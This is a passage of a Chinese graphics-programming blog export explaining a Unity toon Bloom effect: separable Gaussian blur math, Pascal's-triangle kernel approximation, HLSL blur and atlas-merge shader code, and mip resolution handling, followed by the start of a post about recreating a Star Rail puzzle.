class=\"arithmatex\"\u003e\\(f(x,y)\\)\u003c/span\u003e 是坐标为 \u003cspan class=\"arithmatex\"\u003e\\((x,y)\\)\u003c/span\u003e 处像素的值,\u003cspan class=\"arithmatex\"\u003e\\(h(x,y)\\)\u003c/span\u003e 是该处模糊后的值。做一个半径为 \u003cspan class=\"arithmatex\"\u003e\\(r\\)\u003c/span\u003e 的高斯模糊,即\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\nh(x,y)=\\displaystyle\\sum\\limits_{i=-r}^{r}\\displaystyle\\sum\\limits_{j=-r}^{r}f(x+i,y+j)G(i,j)\n\\]\u003c/div\u003e\n\u003cp\u003e假设图像的长和宽分别为 \u003cspan class=\"arithmatex\"\u003e\\(m,n\\)\u003c/span\u003e,这个采样数是 \u003cspan class=\"arithmatex\"\u003e\\(O(mnr^2)\\)\u003c/span\u003e,有点多。\u003c/p\u003e\n\u003ch3 id=\"减少采样数\"\u003e减少采样数\u003ca class=\"headerlink\" href=\"#减少采样数\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e对于 \u003cspan class=\"arithmatex\"\u003e\\(G(x,y)\\)\u003c/span\u003e,\u003cspan class=\"arithmatex\"\u003e\\(X\\)\u003c/span\u003e 和 \u003cspan class=\"arithmatex\"\u003e\\(Y\\)\u003c/span\u003e 是相互独立的,相关系数 \u003cspan class=\"arithmatex\"\u003e\\(\\rho=0\\)\u003c/span\u003e。一般情况下,我们给中间的像素较大的权值(\u003cspan class=\"arithmatex\"\u003e\\(\\mu=0\\)\u003c/span\u003e),并且用对称的卷积核。所以\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\nG(x,y)=\\frac{1}{2\\pi \\sigma^2} \\exp \\left (-\\dfrac{x^2 + y^2}{2 \\sigma^2} \\right )\n\\]\u003c/div\u003e\n\u003cp\u003e能求出 \u003cspan class=\"arithmatex\"\u003e\\(X\\)\u003c/span\u003e 和 \u003cspan class=\"arithmatex\"\u003e\\(Y\\)\u003c/span\u003e 均服从 \u003cspan class=\"arithmatex\"\u003e\\(N(0,\\sigma^2)\\)\u003c/span\u003e,概率密度函数为\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\nG(x)=\\frac{1}{\\sqrt{2\\pi} \\sigma} \\exp \\left (-\\dfrac{x^2}{2 \\sigma^2} \\right )\n\\]\u003c/div\u003e\n\u003cp\u003e且有\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\nG(x,y)=G(x)G(y)\n\\]\u003c/div\u003e\n\u003cp\u003e带入得\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\nh(x,y)=\\displaystyle\\sum\\limits_{i=-r}^{r} \\left (\\displaystyle\\sum\\limits_{j=-r}^{r}f(x+i,y+j)G(j) \\right ) G(i)\n\\]\u003c/div\u003e\n\u003cp\u003e所以,可以先做纵向模糊\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\nh_1(x,y)=\\displaystyle\\sum\\limits_{j=-r}^{r} f(x,y+j) G(j)\n\\]\u003c/div\u003e\n\u003cp\u003e再做横向模糊\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\nh(x,y)=\\displaystyle\\sum\\limits_{i=-r}^{r} h_1(x+i,y) G(i)\n\\]\u003c/div\u003e\n\u003cp\u003e这样采样数就变成了 \u003cspan class=\"arithmatex\"\u003e\\(O(mnr)\\)\u003c/span\u003e,需要 2 个 pass。\u003c/p\u003e\n\u003ch3 id=\"快速计算卷积核\"\u003e快速计算卷积核\u003ca class=\"headerlink\" href=\"#快速计算卷积核\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e根据 \u003ca href=\"../../../ecbf-abci-cecj/#De-Moivre-Laplace-CLT\"\u003eDe Moivre-Laplace CLT\u003c/a\u003e:若 \u003cspan class=\"arithmatex\"\u003e\\(X \\sim B(n,p)\\)\u003c/span\u003e,当 \u003cspan class=\"arithmatex\"\u003e\\(n\\)\u003c/span\u003e 充分大时,可以近似认为 \u003cspan class=\"arithmatex\"\u003e\\(X \\sim N(np, np(1-p))\\)\u003c/span\u003e。我们需要的是一个对称的卷积核,所以取 \u003cspan class=\"arithmatex\"\u003e\\(p=\\dfrac{1}{2}\\)\u003c/span\u003e。这个其实就是一些文章中提到用杨辉三角近似的原理。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"杨辉三角\" src=\"../../../obsidian-vault/attachments/pascal-triangle.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e对于第 \u003cspan class=\"arithmatex\"\u003e\\(n\\)\u003c/span\u003e 行的一组数,它们除以 \u003cspan class=\"arithmatex\"\u003e\\(2^n\\)\u003c/span\u003e 后近似服从 \u003cspan class=\"arithmatex\"\u003e\\(N(\\dfrac{n}{2},\\dfrac{n}{4})\\)\u003c/span\u003e。\u003c/p\u003e\n\u003cp\u003e观察上面的图,每行最前面两个和最后面两个数都比较小,在计算时作用不大,可以去掉它们。\u003csup id=\"fnref:1\"\u003e\u003ca class=\"footnote-ref\" href=\"#fn:1\"\u003e1\u003c/a\u003e\u003c/sup\u003e 如果要一个长度为 \u003cspan class=\"arithmatex\"\u003e\\(n\\)\u003c/span\u003e 的卷积核,则选择第 \u003cspan class=\"arithmatex\"\u003e\\(n+3\\)\u003c/span\u003e 行的中间 \u003cspan class=\"arithmatex\"\u003e\\(n\\)\u003c/span\u003e 个数存进数组,有\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\nG[i]=\\dfrac{1}{2^{n+3}-2(4+n)} \\binom{n+3}{i+2}\n\\]\u003c/div\u003e\n\u003cp\u003e根据组合数的性质 \u003csup id=\"fnref:2\"\u003e\u003ca class=\"footnote-ref\" href=\"#fn:2\"\u003e2\u003c/a\u003e\u003c/sup\u003e\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\binom{n}{k+1}=\\dfrac{n-k}{k+1}\\binom{n}{k}\n\\]\u003c/div\u003e\n\u003cp\u003e可以求出递推公式\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\nG[i]=\\dfrac{n-i+2}{i+2} G[i-1]\n\\]\u003c/div\u003e\n\u003cp\u003e它的初始值,我给出的是 \u003cspan class=\"arithmatex\"\u003e\\(G[0]\\)\u003c/span\u003e 前面一个值,不存进数组。\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\nG[-1]=\\dfrac{n+3}{2^{n+3}-2(4+n)}\n\\]\u003c/div\u003e\n\u003cp\u003e不放代码了,一个 for 循环就行了。还能根据卷积核的对称性优化一下,只需要算一半的数字就行。\u003c/p\u003e\n\u003ch3 id=\"Shader-代码\"\u003eShader 代码\u003ca class=\"headerlink\" href=\"#Shader-代码\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e需要 C# 代码传入的值:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e_BloomKernelSize\u003c/code\u003e:卷积核的长度。\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e_BloomKernel\u003c/code\u003e:卷积核数组。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eShader 里用一个 for 循环采样周围像素。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e卷积核长度为偶数时,为了给中心的像素足够的权重,就都采样在两个像素之间了,\u003ccode\u003ei - halfKernelSize\u003c/code\u003e 为 \u003cspan class=\"arithmatex\"\u003e\\(-1.5,-0.5,0.5,1.5\\)\u003c/span\u003e 这样的值。\u003c/li\u003e\n\u003cli\u003e卷积核长度为奇数时,\u003ccode\u003ei - halfKernelSize\u003c/code\u003e 为 \u003cspan class=\"arithmatex\"\u003e\\(-1,0,1\\)\u003c/span\u003e 这样的值。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e纵向模糊:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etexelSize\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_BlitTexture_TexelSize\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehalfKernelSize\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_BloomKernelSize\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003euv\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eUnityStereoTransformScreenSpaceTex\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003einput\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etexcoord\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"kt\"\u003ehalf3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecolor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mo\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mo\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_BloomKernelSize\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eoffset\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mf\"\u003e0.0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etexelSize\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehalfKernelSize\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ehalf3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ec\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDecodeHDR\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSAMPLE_TEXTURE2D_X\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_BlitTexture\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esampler_LinearClamp\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003euv\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eoffset\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecolor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ec\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_BloomKernel\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eEncodeHDR\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecolor\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e横向模糊类似。\u003c/p\u003e\n\u003cp\u003e要把多级 mip 都纵向横向模糊一遍。\u003c/p\u003e\n\u003ch3 id=\"卷积核长度选择\"\u003e卷积核长度选择\u003ca class=\"headerlink\" href=\"#卷积核长度选择\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e根据 \u003ca href=\"../../../ecde-afda-cebi/#3-sigma-规则\"\u003e正态分布 \u0026gt; 3 sigma 规则\u003c/a\u003e,大致推测出高斯模糊的模糊范围和 \u003cspan class=\"arithmatex\"\u003e\\(\\sigma\\)\u003c/span\u003e 正相关。因为长度为 \u003cspan class=\"arithmatex\"\u003e\\(n\\)\u003c/span\u003e 的卷积核取的是杨辉三角的第 \u003cspan class=\"arithmatex\"\u003e\\(n+3\\)\u003c/span\u003e 行,所以\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\sigma \\approx \\dfrac{\\sqrt{n+3}}{2}\n\\]\u003c/div\u003e\n\u003cp\u003e因此,模糊的范围和卷积核的长度正相关。\u003c/p\u003e\n\u003cp\u003emip 的分辨率越小,模糊的范围(卷积核的长度)就应该越大,否则可能出现很多方块图样。\u003c/p\u003e\n\u003ch3 id=\"处理多分辨率\"\u003e处理多分辨率\u003ca class=\"headerlink\" href=\"#处理多分辨率\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e同样的图案在不同分辨率下占有的像素数量不同。在卷积核大小不变的前提下,去模糊本文最上面花火的脸,低分辨率下能采样到脸外面的像素,但是高分辨率下就不一定能采样到了。所以多分辨率下模糊的结果可能不一致,最后泛光效果也不一样。具体来说,分辨率越高,向外泛出的光就越少。\u003c/p\u003e\n\u003cp\u003e我目前也没找到什么很好的解决方案,就强行把最后几个需要模糊的 mip 的分辨率都定死了。\u003c/p\u003e\n\u003cp\u003e一般游戏都是 16:9、16:10 这样的分辨率。取个比例差不多的较小的分辨率,比如 310x174,基本上没太大问题。要是屏幕比例差得太多,降采样时就会出现明显拉伸,Bloom 结果就会出现 artifact。\u003c/p\u003e\n\u003ch3 id=\"图集优化\"\u003e图集优化\u003ca class=\"headerlink\" href=\"#图集优化\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e因为要对多级 mip 做模糊,会出现很多 RT switch,对性能有影响。可以把纵向模糊的结果都绘制到一张图集上。用 \u003ca href=\"https://docs.unity3d.com/ScriptReference/Rendering.CommandBuffer.SetViewport.html\"\u003e\u003ccode\u003eCommandBuffer.SetViewport\u003c/code\u003e\u003c/a\u003e 来限制绘制的区域。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"图集\" src=\"../../../obsidian-vault/attachments/bloom-atlas.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e然后再做横向模糊,绘制到另一张图集上。\u003c/p\u003e\n\u003ch2 id=\"合并\"\u003e合并\u003ca class=\"headerlink\" href=\"#合并\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e需要 C# 代码传入的值:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e_BloomUVMinMax\u003c/code\u003e:图集中每张图的 uv 范围。xy 是 uv 最小值,zw 是 uv 最大值。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eShader 里直接把图集里所有图都采样一遍,然后叠加。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003euv\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eUnityStereoTransformScreenSpaceTex\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003einput\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etexcoord\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"kt\"\u003ehalf3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecolor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mo\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"n\"\u003eUNITY_UNROLL\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mo\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eMAX_MIP_DOWN_BLUR_COUNT\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eatlasUV\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003elerp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_BloomUVMinMax\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003exy\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_BloomUVMinMax\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003ezw\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003euv\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecolor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDecodeHDR\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSAMPLE_TEXTURE2D_X\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_BlitTexture\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esampler_LinearClamp\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eatlasUV\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eEncodeHDR\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecolor\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e\u003cimg alt=\"叠加好的图,分辨率和图集里最大的那张一样\" src=\"../../../obsidian-vault/attachments/bloom-final.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e之后把它拿给 UberPost,加到屏幕上即可。\u003c/p\u003e\n\u003ch3 id=\"防漏光\"\u003e防漏光\u003ca class=\"headerlink\" href=\"#防漏光\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e刚才叠加时是用 bilinear 采样的,在某张图边缘采样时可能采样到图集里的另一张图。解决方法是,在图和图之间加几个像素的 padding,一般 1 个像素就差不多了。\u003c/p\u003e\n\u003ch2 id=\"完整代码\"\u003e完整代码\u003ca class=\"headerlink\" href=\"#完整代码\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/stalomeow/StarRailNPRShader\"\u003eGitHub: stalomeow/StarRailNPRShader\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"参考文章\"\u003e参考文章\u003ca class=\"headerlink\" href=\"#参考文章\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://gwb.tencent.com/community/detail/124756\"\u003e米哈游技术总监首次分享:移动端高品质卡通渲染的实现与优化方案 -腾讯游戏学堂\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://zhuanlan.zhihu.com/p/525500877\"\u003e高质量泛光(bloom)从理论到实战 - 知乎\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://zhuanlan.zhihu.com/p/630726865\"\u003e高质量泛光Bloom改进以及高斯核采样的优化 - 知乎\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"进一步阅读\"\u003e进一步阅读\u003ca class=\"headerlink\" href=\"#进一步阅读\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://zhuanlan.zhihu.com/p/675125241\"\u003e复刻 绝区零/原神 的Bloom效果 - 知乎\u003c/a\u003e:Bloom 图集的另一种实现。\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.rastergrid.com/blog/2010/09/efficient-gaussian-blur-with-linear-sampling/\"\u003eEfficient Gaussian blur with linear sampling – RasterGrid\u003c/a\u003e:讲了多种优化手段,除了杨辉三角,还有借助 bilinear 减少采样数的方法。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"footnote\"\u003e\n\u003chr /\u003e\n\u003col\u003e\n\u003cli id=\"fn:1\"\u003e\n\u003cp\u003e\u003ca href=\"https://www.rastergrid.com/blog/2010/09/efficient-gaussian-blur-with-linear-sampling/\"\u003eEfficient Gaussian blur with linear sampling – RasterGrid\u003c/a\u003e\u0026#160;\u003ca class=\"footnote-backref\" href=\"#fnref:1\" title=\"Jump back to footnote 1 in the text\"\u003e\u0026#8617;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:2\"\u003e\n\u003cp\u003e\u003ca href=\"https://stackoverflow.com/questions/15580291/how-to-efficiently-calculate-a-row-in-pascals-triangle\"\u003ealgorithm - How to efficiently calculate a row in pascal's triangle? - Stack Overflow\u003c/a\u003e\u0026#160;\u003ca class=\"footnote-backref\" href=\"#fnref:2\" title=\"Jump back to footnote 2 in the text\"\u003e\u0026#8617;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/div\u003e\u003chr /\u003e","url":"https://note.stalomeow.com/blog/posts/toon-bloom/"},{"title":"复刻星穹铁道 2.0 梦境迷钟","time":"2024-02-18T13:55:20Z","content":"\u003ch1 id=\"复刻星穹铁道-20-梦境迷钟\"\u003e复刻星穹铁道 2.0 梦境迷钟\u003ca class=\"headerlink\" href=\"#复刻星穹铁道-20-梦境迷钟\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h1\u003e\n\u003c!-- more --\u003e\n\n\u003cp\u003e简单复刻,重点在图的构建和寻路上。只做了一种视角,两个关卡。\u003c/p\u003e\n\u003cdiv class=\"responsive-video-container\"\u003e\n \u003ciframe src=\"https://player.bilibili.com/player.html?aid=1250735475\u0026bvid=BV1kJ4m1W76K\u0026cid=1440682002\u0026p=2\u0026autoplay=0\" scrolling=\"no\" 